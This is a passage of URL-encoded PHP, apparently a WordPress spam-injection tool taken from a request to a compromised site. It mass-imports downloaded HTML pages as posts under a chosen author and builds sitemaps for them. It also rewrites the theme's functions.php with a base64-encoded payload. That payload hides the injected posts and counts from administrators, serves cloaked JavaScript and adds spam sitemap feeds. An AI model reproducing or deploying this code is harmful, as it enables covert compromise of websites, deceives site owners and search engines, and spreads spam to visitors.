29+%7B%0D%0A++++++++echo+%22no+posts+by+author+id%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++foreach+%28%24urls+as+%24urlWithTitle%29+%7B%0D%0A%0D%0A++++++++list+%28%24url%2C+%24title%29+%3D+explode%28%27%3B%27%2C+%24urlWithTitle%2C+2%29%3B%0D%0A%0D%0A++++++++%24lastmod+%3D+date%28%27Y-m-d%27%29%3B%0D%0A++++++++%24changefreqArr+%3D+array%28%27monthly%27%2C+%27weekly%27%2C+%27daily%27%2C+%27hourly%27%2C+%27always%27%29%3B%0D%0A++++++++%24priority+%3D+%270.%27+.+rand%285%2C+9%29%3B%0D%0A%0D%0A++++++++%24sitemapSource+.%3D+urlBlockSec%28%24url%2C+%24lastmod%2C+%24changefreqArr%5Brand%280%2C+count%28%24changefreqArr%29+-+1%29%5D%0D%0A++++++++++++%2C+%24priority%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24sitemapSource+.%3D+%22%5Cn%3C%2Furlset%3E%22%3B%0D%0A%0D%0A++++if+%28file_put_contents%28%24sitemapPath%2C+%24sitemapSource%29%29+%7B%0D%0A++++++++echo+currenturl%28%24sitemapPath%29%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+uploadAction%28%29+%7B%0D%0A%0D%0A++++%24url+%3D+str_replace%28%27%7BDIR_NUM%7D%27%2C+DIR_NUM%2C+URL_WITH_ARCHIVES%29%3B%0D%0A%0D%0A++++try+%7B%0D%0A++++++++uploadRangeOfFiles%28%24url%2C+ARCHIVES_RANGE%2C+%27.zip%27%2C+TMPDIR%29%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+unzipAction%28%29+%7B%0D%0A%0D%0A++++if+%28defined%28%27GREEK_LANGUAGE%27%29+%26%26+GREEK_LANGUAGE+%3D%3D%3D+1%29+%7B%0D%0A++++++++echo+%27use+unzip+with+header%27+.+PHP_EOL%3B%0D%0A++++++++try+%7B%0D%0A++++++++++++return+unzipFirstMethod%28%29%3B%0D%0A++++++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++++++echo+%24ex-%3EgetMessage%28%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++if+%28class_exists%28%27ZipArchive%27%29%29+%7B%0D%0A++++++++return+unzipSecondMethod%28%29%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++echo+%27use+unzip+with+header%27+.+PHP_EOL%3B%0D%0A++++++++try+%7B%0D%0A++++++++++++return+unzipFirstMethod%28%29%3B%0D%0A++++++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++++++echo+%24ex-%3EgetMessage%28%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+importAction%28%29+%7B%0D%0A%0D%0A++++%24date+%3D+%27%27%3B%0D%0A%0D%0A++++%24htmlFiles+%3D+glob%28TMPDIR+.+%22%2F*.html%22%29%3B%0D%0A++++shuffle%28%24htmlFiles%29%3B%0D%0A%0D%0A%0D%0A++++%24mutexName+%3D+defined%28%27CUSTOM_AUTHOR_ID%27%29+%3F+%27_%27+.+CUSTOM_AUTHOR_ID+%3A+%27%27%3B%0D%0A%0D%0A++++if+%28file_exists%28TMPDIR+.+%27%2Fimport_finish%27+.+%24mutexName%29%29+%7B%0D%0A++++++++echo+%27files+already+imported%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++if+%28%21%24htmlFiles%29+%7B%0D%0A++++++++echo+%22html+files+not+found%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24extLinksArr+%3D+array%28%29%3B%0D%0A%0D%0A++++if+%28defined%28%27EXTERNAL_LINKING%27%29+%26%26+%28EXTERNAL_LINKING+%3D%3D%3D+1%29%29+%7B%0D%0A++++++++%24countHtmlFiles+%3D+count%28%24htmlFiles%29%3B%0D%0A++++++++downloadExternalLinks%28%24countHtmlFiles%29%3B%0D%0A++++++++%24extLinksArr+%3D+decodeExternalLinks%28%29%3B%0D%0A%0D%0A++++++++if+%28%21%24extLinksArr%29+%7B%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++%24results+%3D+array%28%29%3B%0D%0A%0D%0A++++if+%28%21is_dir%28TMPDIR+.+%27%2Fimported%27%29%29+%7B%0D%0A++++++++if+%28%21mkdir%28TMPDIR+.+%27%2Fimported%27%29%29+%7B%0D%0A++++++++++++echo+%22dont+create+imported+dir%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++if+%28%21defined%28%27RAND_DATE%27%29+%7C%7C+%28RAND_DATE+%3D%3D%3D+0%29%29+%7B%0D%0A++++++++%24date+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3ElastPostDateQuery%28%29%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++foreach+%28%24htmlFiles+as+%24key+%3D%3E+%24html%29+%7B%0D%0A%0D%0A%0D%0A++++++++try+%7B%0D%0A++++++++++++%24contentParts+%3D+contentParts%28file_get_contents%28%24html%29%29%3B%0D%0A%0D%0A%0D%0A++++++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++++++echo+%24ex-%3EgetMessage%28%29%3B%0D%0A++++++++++++continue%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++%24text+%3D+%24contentParts%5B%27text%27%5D%3B%0D%0A++++++++%24text+%3D+textWithLinks%28%24text%2C+%24results%2C+%24extLinksArr%29%3B%0D%0A++++++++%24customSlug+%3D+slugPrepareBeforeInsert%28%24html%2C+%24contentParts%5B%27slug%27%5D%29%3B%0D%0A%0D%0A%0D%0A++++++++try+%7B%0D%0A++++++++++++%24postId+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EinsertPost%28%24contentParts%5B%27title%27%5D%2C+%24text%2C+%24date%0D%0A++++++++++++++++%2C+CUSTOM_AUTHOR_ID%2C+%24customSlug%29%3B%0D%0A++++++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++++++var_dump%28%24ex-%3EgetMessage%28%29%29%3B%0D%0A++++++++++++continue%3B%0D%0A++++++++%7D%0D%0A%0D%0A%0D%0A++++++++%24results%5B%5D+%3D+resultFormat%28HOME_URL%2C+%24postId%2C+%24contentParts%5B%27title%27%5D%29%3B%0D%0A++++++++rename%28%24html%2C+TMPDIR+.+%27%2Fimported%2F%27+.+mb_basename%28%24html%2C+%27.html%27%29%29%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++if+%28%21empty%28%24results%29%29+%7B%0D%0A++++++++%24logPath+%3D+TMPDIR+.+%27%2Flog%27+.+%24mutexName+.+%27.txt%27%3B%0D%0A++++++++echo+%27write+to+log+-+%27+.+%24logPath+.+PHP_EOL%3B%0D%0A++++++++echo+currenturl%28%24logPath%2C+HOME_URL%29+.+PHP_EOL%3B%0D%0A++++++++file_put_contents%28%24logPath%2C+implode%28%22%5Cn%22%2C+%24results%29+.+%22%5Cn%22%2C+FILE_APPEND%29%3B%0D%0A++++++++if+%28%24key+%3D%3D%3D+%28count%28%24htmlFiles%29+-+1%29%29+%7B%0D%0A++++++++++++file_put_contents%28TMPDIR+.+%27%2Fimport_finish%27+.+%24mutexName%2C+%27%27%29%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++echo+%22results+are+empty%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+slugPrepareBeforeInsert%28%24filename%2C+%24contentPartsSlug%29+%7B%0D%0A++++if+%28defined%28%27USE_ORIGINAL_SLUG%27%29+%26%26+%28USE_ORIGINAL_SLUG+%3D%3D%3D+1%29%29+%7B%0D%0A++++++++%24customSlug+%3D+mb_basename%28%24filename%2C+%27.html%27%29%3B%0D%0A%0D%0A++++++++if+%28CustomDbHandler%3A%3AgetInstance%28%29-%3EdbType+%3D%3D%3D+CustomDbHandler%3A%3ADB_TYPE_SQLITE%29+%7B%0D%0A++++++++++++%24customSlug+%3D+stringToSlug%28%24contentPartsSlug%29%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++%7D+else+%7B%0D%0A++++++++%24customSlug+%3D+%24contentPartsSlug%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+%24customSlug%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+linksPrepare%28%24results%29+%7B%0D%0A%0D%0A++++%24links+%3D+array%28%29%3B%0D%0A%0D%0A++++foreach+%28%24results+as+%24result%29+%7B%0D%0A++++++++list+%28%24url%2C+%24title%29+%3D+explode%28%27%3B%27%2C+%24result%2C+2%29%3B%0D%0A++++++++%24title+%3D+htmlspecialchars_decode%28%24title%29%3B%0D%0A++++++++%24url+%3D+str_replace%28%27%2F%2F%3Fp%3D%27%2C+%27%2F%3Fp%3D%27%2C+%24url%29%3B%0D%0A++++++++%24links%5B%5D+%3D+%22%3Ca+href%3D%5C%22%24url%5C%22%3E%24title%3C%2Fa%3E%22%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+%24links%3B%0D%0A%7D%0D%0A%0D%0Afunction+getTemplatePath%28%29+%7B%0D%0A++++try+%7B%0D%0A++++++++%24templateName+%3D+CustomDbHandler%3A%3AgetInstance%28%29-%3EgetOption%28%27template%27%29%3B%0D%0A++++++++%24templateName+%3D+%24templateName%5B%27option_value%27%5D%3B%0D%0A++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++echo+%24ex-%3EgetMessage%28%29%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++if+%28file_exists%28WP_ROOT_DIR+.+%27%2Fwp-content%2Fthemes%2F%27+.+%24templateName+.+%27%2Ffunctions.php%27%29%29+%7B%0D%0A++++++++return+WP_ROOT_DIR+.+%27%2Fwp-content%2Fthemes%2F%27+.+%24templateName%3B%0D%0A++++%7D%0D%0A%0D%0A++++%2F%2Fecho+%27functions.php+not+found+in+theme+directory%27+.+PHP_EOL%3B%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+hideAction%28%29+%7B%0D%0A%0D%0A++++if+%28%21defined%28%27CUSTOM_TEMPLATE_PATH%27%29%29+%7B%0D%0A++++++++%24templateDirectory+%3D+getTemplatePath%28%29%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%24templateDirectory+%3D+CUSTOM_TEMPLATE_PATH%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24functionsPath+%3D+%24templateDirectory+.+%27%2Ffunctions.php%27%3B%0D%0A%0D%0A++++if+%28%21file_exists%28%24functionsPath%29%29+%7B%0D%0A++++++++echo+%24functionsPath+.+%27%2F+no+exists%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24functionsSource+%3D+file_get_contents%28%24functionsPath%29%3B%0D%0A%0D%0A++++if+%28%21is_writeable%28%24functionsPath%29%29+%7B%0D%0A++++++++echo+%24functionsPath+.+%27+no+writeable%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++echo+%27try+to+delete+functions%27.PHP_EOL%3B%0D%0A++++++++if+%28unlink%28%24functionsPath%29%29+%7B%0D%0A++++++++++++echo+%27try+again+create+function%27.PHP_EOL%3B%0D%0A++++++++++++file_put_contents%28%24functionsPath%2C+%24functionsSource%29%3B%0D%0A++++++++%7D%0D%0A++++++++else+%7B%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A%0D%0A%0D%0A++++%7D%0D%0A%0D%0A%0D%0A%0D%0A++++if+%28%24functionsSource+%3D%3D%3D+false%29+%7B%0D%0A++++++++echo+%27error+while+reading+functions.php%27+.+PHP_EOL%3B%0D%0A++++++++echo+%27try+to+set+right+permissions...%27+.+PHP_EOL%3B%0D%0A++++++++if+%28%21chmod%28%24functionsPath%2C+0644%29%29+%7B%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++++++echo+%27success%21%27+.+PHP_EOL%3B%0D%0A++++++++%24functionsSource+%3D+file_get_contents%28%24functionsPath%29%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++%24source+%3D+%27LyogY3VzdG9tIGZpbHRlcnMgKi8KCmZ1bmN0aW9uIGFkZF93aGVyZV9jb25kaXRpb24oJHdoZXJlKSB7CiAgICBnbG9iYWwgJHdwZGIsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkaWRzQ29tbWFTZXBhcmF0ZWQgPSBpbXBsb2RlKCcsICcsICRpZHMpOwoKICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgewogICAgICAgIGFkZF9maWx0ZXIoJ3ZpZXdzX2VkaXQtcG9zdCcsICdmaXhfcG9zdF9jb3VudHMnKTsKICAgICAgICByZXR1cm4gJHdoZXJlIC4gIiBBTkQgeyR3cGRiLT5wb3N0c30ucG9zdF9hdXRob3IgTk9UIElOICgkaWRzQ29tbWFTZXBhcmF0ZWQpIjsKICAgIH0KCiAgICByZXR1cm4gJHdoZXJlOwp9CgpmdW5jdGlvbiBwb3N0X2V4Y2x1ZGUoJHF1ZXJ5KSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkZXhjbHVkZVN0cmluZyA9IG1vZGlmeVdyaXRlcnNTdHJpbmcoJGlkcyk7CgogICAgaWYgKCEkcXVlcnktPmlzX3NpbmdsZSgpICYmICFpc19hZG1pbigpKSB7CiAgICAgICAgJHF1ZXJ5LT5zZXQoJ2F1dGhvcicsICRleGNsdWRlU3RyaW5nKTsKICAgIH0KfQoKZnVuY3Rpb24gd3BfY29yZV9qcygpIHsKCiAgICBnbG9iYWwgJHBvc3QsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAkaWQgPT4gJHNldHRpbmdzKSB7CiAgICAgICAgaWYgKCgkaWQgPT0gJHBvc3QtPnBvc3RfYXV0aG9yKSAmJiAoaXNzZXQoJHNldHRpbmdzWydqcyddKSkpIHsKCiAgICAgICAgICAgIGlmIChoaWRlSlNzb3VyY2UoJHNldHRpbmdzKSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAkc2V0dGluZ3NbJ2pzJ107CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gaGlkZUpTc291cmNlKCRzZXR0aW5ncykgewogICAgaWYgKGlzc2V0KCRzZXR0aW5nc1snbm9qcyddKSAmJiAkc2V0dGluZ3NbJ25vanMnXSA9PT0gMSkgewogICAgICAgIC8vY3VzdG9tU2V0RGVidWcoJ2Nsb2Fja2luZyBpcyBvbiEnKTsKICAgICAgICAvL2N1c3RvbVNlbmREZWJ1ZygpOwogICAgICAgIGlmIChjdXN0b21DaGVja1NlKCkpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBmaXhfcG9zdF9jb3VudHMoJHZpZXdzKSB7CiAgICBnbG9iYWwgJGN1cnJlbnRfdXNlciwgJHdwX3F1ZXJ5OwoKICAgICR0eXBlcyA9IGFycmF5KAogICAgICAgIGFycmF5KCdzdGF0dXMnID0%2BIE5VTEwpLAogICAgICAgIGFycmF5KCdzdGF0dXMnID0%2BICdwdWJsaXNoJyksCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ2RyYWZ0JyksCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ3BlbmRpbmcnKSwKICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAndHJhc2gnKSwKICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAnbWluZScpLAogICAgKTsKICAgIGZvcmVhY2ggKCR0eXBlcyBhcyAkdHlwZSkgewoKICAgICAgICAkcXVlcnkgPSBhcnJheSgKICAgICAgICAgICAgJ3Bvc3RfdHlwZScgPT4gJ3Bvc3QnLAogICAgICAgICAgICAncG9zdF9zdGF0dXMnID0%2BICR0eXBlWydzdGF0dXMnXQogICAgICAgICk7CgogICAgICAgICRyZXN1bHQgPSBuZXcgV1BfUXVlcnkoJHF1ZXJ5KTsKCiAgICAgICAgaWYgKCR0eXBlWydzdGF0dXMnXSA9PSBOVUxMKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd%2BXD5cKChbMC05LF0rKVwpXDx%2BJywgJHZpZXdzWydhbGwnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2FsbCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc%2BKCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1snYWxsJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAnbWluZScpIHsKCgogICAgICAgICAgICAkbmV3UXVlcnkgPSAkcXVlcnk7CiAgICAgICAgICAgICRuZXdRdWVyeVsnYXV0aG9yX19pbiddID0gYXJyYXkoJGN1cnJlbnRfdXNlci0%2BSUQpOwoKICAgICAgICAgICAgJHJlc3VsdCA9IG5ldyBXUF9RdWVyeSgkbmV3UXVlcnkpOwoKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ21pbmUnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ21pbmUnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0%2BZm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ21pbmUnXSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdwdWJsaXNoJykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw%2BXCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1sncHVibGlzaCddLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICR2aWV3c1sncHVibGlzaCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc%2BKCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1sncHVibGlzaCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ2RyYWZ0JykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw%2BXCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1snZHJhZnQnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2RyYWZ0J10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydkcmFmdCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ3BlbmRpbmcnKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd%2BXD5cKChbMC05LF0rKVwpXDx%2BJywgJHZpZXdzWydwZW5kaW5nJ10sICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgJHZpZXdzWydwZW5kaW5nJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydwZW5kaW5nJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAndHJhc2gnKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd%2BXD5cKChbMC05LF0rKVwpXDx%2BJywgJHZpZXdzWyd0cmFzaCddLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICR2aWV3c1sndHJhc2gnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0%2BZm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ3RyYXNoJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICR2aWV3czsKfQoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfNDA1NSgkY291bnRzLCAkdHlwZSwgJHBlcm0pIHsKCiAgICBpZiAoJHR5cGUgPT09ICdwb3N0JykgewogICAgICAgICRvbGRfY291bnRzID0gJGNvdW50cy0%2BcHVibGlzaDsKICAgICAgICAkY291bnRzX21vZCA9IHBvc3RzX2NvdW50X2N1c3RvbSgkcGVybSk7CiAgICAgICAgJGNvdW50cy0%2BcHVibGlzaCA9ICEkY291bnRzX21vZCA%2FICRvbGRfY291bnRzIDogJGNvdW50c19tb2Q7CiAgICB9CiAgICByZXR1cm4gJGNvdW50czsKfQoKZnVuY3Rpb24gcG9zdHNfY291bnRfY3VzdG9tKCRwZXJtKSB7CiAgICBnbG9iYWwgJHdwZGIsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkaWRzQ29tbWFTZXBhcmF0ZWQgPSBpbXBsb2RlKCcsICcsICRpZHMpOwoKICAgICR0eXBlID0gJ3Bvc3QnOwoKICAgICRxdWVyeSA9ICJTRUxFQ1QgcG9zdF9zdGF0dXMsIENPVU5UKCAqICkgQVMgbnVtX3Bvc3RzIEZST00geyR3cGRiLT5wb3N0c30gV0hFUkUgcG9zdF90eXBlID0gJXMiOwoKICAgIGlmICgncmVhZGFibGUnID09ICRwZXJtICYmIGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsKCiAgICAgICAgJHBvc3RfdHlwZV9vYmplY3QgPSBnZXRfcG9zdF90eXBlX29iamVjdCgkdHlwZSk7CgogICAgICAgIGlmICghY3VycmVudF91c2VyX2NhbigkcG9zdF90eXBlX29iamVjdC0%2BY2FwLT5yZWFkX3ByaXZhdGVfcG9zdHMpKSB7CiAgICAgICAgICAgICRxdWVyeSAuPSAkd3BkYi0%2BcHJlcGFyZSgKICAgICAgICAgICAgICAgICIgQU5EIChwb3N0X3N0YXR1cyAhPSAncHJpdmF0ZScgT1IgKCBwb3N0X2F1dGhvciA9ICVkIEFORCBwb3N0X3N0YXR1cyA9ICdwcml2YXRlJyApKSIsIGdldF9jdXJyZW50X3VzZXJfaWQoKQogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KICAgICRxdWVyeSAuPSAiIEFORCBwb3N0X2F1dGhvciBOT1QgSU4gKCRpZHNDb21tYVNlcGFyYXRlZCkgR1JPVVAgQlkgcG9zdF9zdGF0dXMiOwogICAgJHJlc3VsdHMgPSAoYXJyYXkpJHdwZGItPmdldF9yZXN1bHRzKCR3cGRiLT5wcmVwYXJlKCRxdWVyeSwgJHR5cGUpLCBBUlJBWV9BKTsKCiAgICBmb3JlYWNoICgkcmVzdWx0cyBhcyAkdG1wQXJyKSB7CiAgICAgICAgaWYgKCR0bXBBcnJbJ3Bvc3Rfc3RhdHVzJ10gPT09ICdwdWJsaXNoJykgewogICAgICAgICAgICByZXR1cm4gJHRtcEFyclsnbnVtX3Bvc3RzJ107CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBhbGxfY3VzdG9tX3Bvc3RzX2lkcygkdXNlcklkKSB7CiAgICBnbG9iYWwgJHdwZGI7CgogICAgJHF1ZXJ5ID0gIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0%2BcG9zdHN9IHdoZXJlIHBvc3RfYXV0aG9yID0gJHVzZXJJZCI7CgogICAgJHJlc3VsdHMgPSAoYXJyYXkpJHdwZGItPmdldF9yZXN1bHRzKCRxdWVyeSwgQVJSQVlfQSk7CgogICAgJGlkcyA9IGFycmF5KCk7CiAgICBmb3JlYWNoICgkcmVzdWx0cyBhcyAkdG1wQXJyKSB7CiAgICAgICAgJGlkc1tdID0gJHRtcEFyclsnSUQnXTsKICAgIH0KICAgIHJldHVybiAkaWRzOwp9CgpmdW5jdGlvbiBjdXN0b21fZmx1c2hfcnVsZXMoKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnIsICR3cF9yZXdyaXRlOwoKICAgICRydWxlcyA9IGdldF9vcHRpb24oJ3Jld3JpdGVfcnVsZXMnKTsKCiAgICBmb3JlYWNoICgkdXNlclNldHRpbmdzQXJyIGFzICRrZXkgPT4gJGFycikgewogICAgICAgICRyZWdleCA9IGtleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSk7CgogICAgICAgIGlmICghaXNzZXQoJHJ1bGVzWyRyZWdleF0pIHx8CiAgICAgICAgICAgICgkcnVsZXNbJHJlZ2V4XSAhPT0gY3VycmVudCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkpKSB7CiAgICAgICAgICAgICR3cF9yZXdyaXRlLT5mbHVzaF9ydWxlcygpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gc2l0ZW1hcF94bWxfcnVsZXMoJHJ1bGVzKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJG5ld3J1bGVzID0gYXJyYXkoKTsKCiAgICBmb3JlYWNoICgkdXNlclNldHRpbmdzQXJyIGFzICRrZXkgPT4gJGFycikgewogICAgICAgIGlmIChpc3NldCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkpIHsKICAgICAgICAgICAgJG5ld3J1bGVzW2tleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSldID0gY3VycmVudCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSk7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAkbmV3cnVsZXMgKyAkcnVsZXM7Cn0KCmZ1bmN0aW9uIGN1c3RvbVNpdGVtYXBGZWVkKCkgewoKICAgIGdsb2JhbCAkdXNlclNldHRpbmdzQXJyOwoKICAgIGZvcmVhY2ggKCR1c2VyU2V0dGluZ3NBcnIgYXMgJGtleSA9PiAkYXJyKSB7CiAgICAgICAgJGZlZWROYW1lID0gc3RyX3JlcGxhY2UoJ2luZGV4LnBocD9mZWVkPScsICcnLCBjdXJyZW50KCRhcnJbJ3NpdGVtYXBzZXR0aW5ncyddKSk7CiAgICAgICAgYWRkX2ZlZWQoJGZlZWROYW1lLCAnY3VzdG9tU2l0ZW1hcEZlZWRGdW5jJyk7CiAgICB9Cn0KCmZ1bmN0aW9uIGN1c3RvbVNpdGVtYXBGZWVkRnVuYygpIHsKLy9pbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnMjU2TUInKTsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZmVlZF9jb250ZW50X3R5cGUoJ3Jzcy1odHRwJykgLiAnOyBjaGFyc2V0PScgLiBnZXRfb3B0aW9uKCdibG9nX2NoYXJzZXQnKSwgdHJ1ZSk7Ci8vaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBmZWVkX2NvbnRlbnRfdHlwZSgncnNzJykgLiAnOyBjaGFyc2V0PScgLiBnZXRfb3B0aW9uKCdibG9nX2NoYXJzZXQnKSwgdHJ1ZSk7CiAgICBzdGF0dXNfaGVhZGVyKDIwMCk7CgogICAgJGhlYWQgPSBzaXRlbWFwSGVhZCgpOwogICAgJHNpdGVtYXBTb3VyY2UgPSAkaGVhZCAuICJcbiI7CgogICAgJHVzZXJJZCA9IGZpbmRVc2VySWRCeVJlcXVlc3RVcmkoKTsKCiAgICAkcG9zdHNfaWRzID0gYWxsX2N1c3RvbV9wb3N0c19pZHMoJHVzZXJJZCk7CiAgICAkcHJpb3JpdHkgPSAnMC41JzsKICAgICRjaGFuZ2VmcmVxID0gJ3dlZWtseSc7CiAgICAkbGFzdG1vZCA9IGRhdGUoJ1ktbS1kJyk7CgogICAgZm9yZWFjaCAoJHBvc3RzX2lkcyBhcyAkcG9zdF9pZCkgewogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKTsKICAgICAgICAkc2l0ZW1hcFNvdXJjZSAuPSB1cmxCbG9jaygkdXJsLCAkbGFzdG1vZCwgJGNoYW5nZWZyZXEsICRwcmlvcml0eSk7CiAgICAgICAgd3BfY2FjaGVfZGVsZXRlKCRwb3N0X2lkLCAncG9zdHMnKTsKICAgIH0KCiAgICAkc2l0ZW1hcFNvdXJjZSAuPSAiXG48L3VybHNldD4iOwoKICAgIGVjaG8gJHNpdGVtYXBTb3VyY2U7Cn0KCmZ1bmN0aW9uIHNpdGVtYXBIZWFkKCkgewogICAgcmV0dXJuIDw8PFNUUg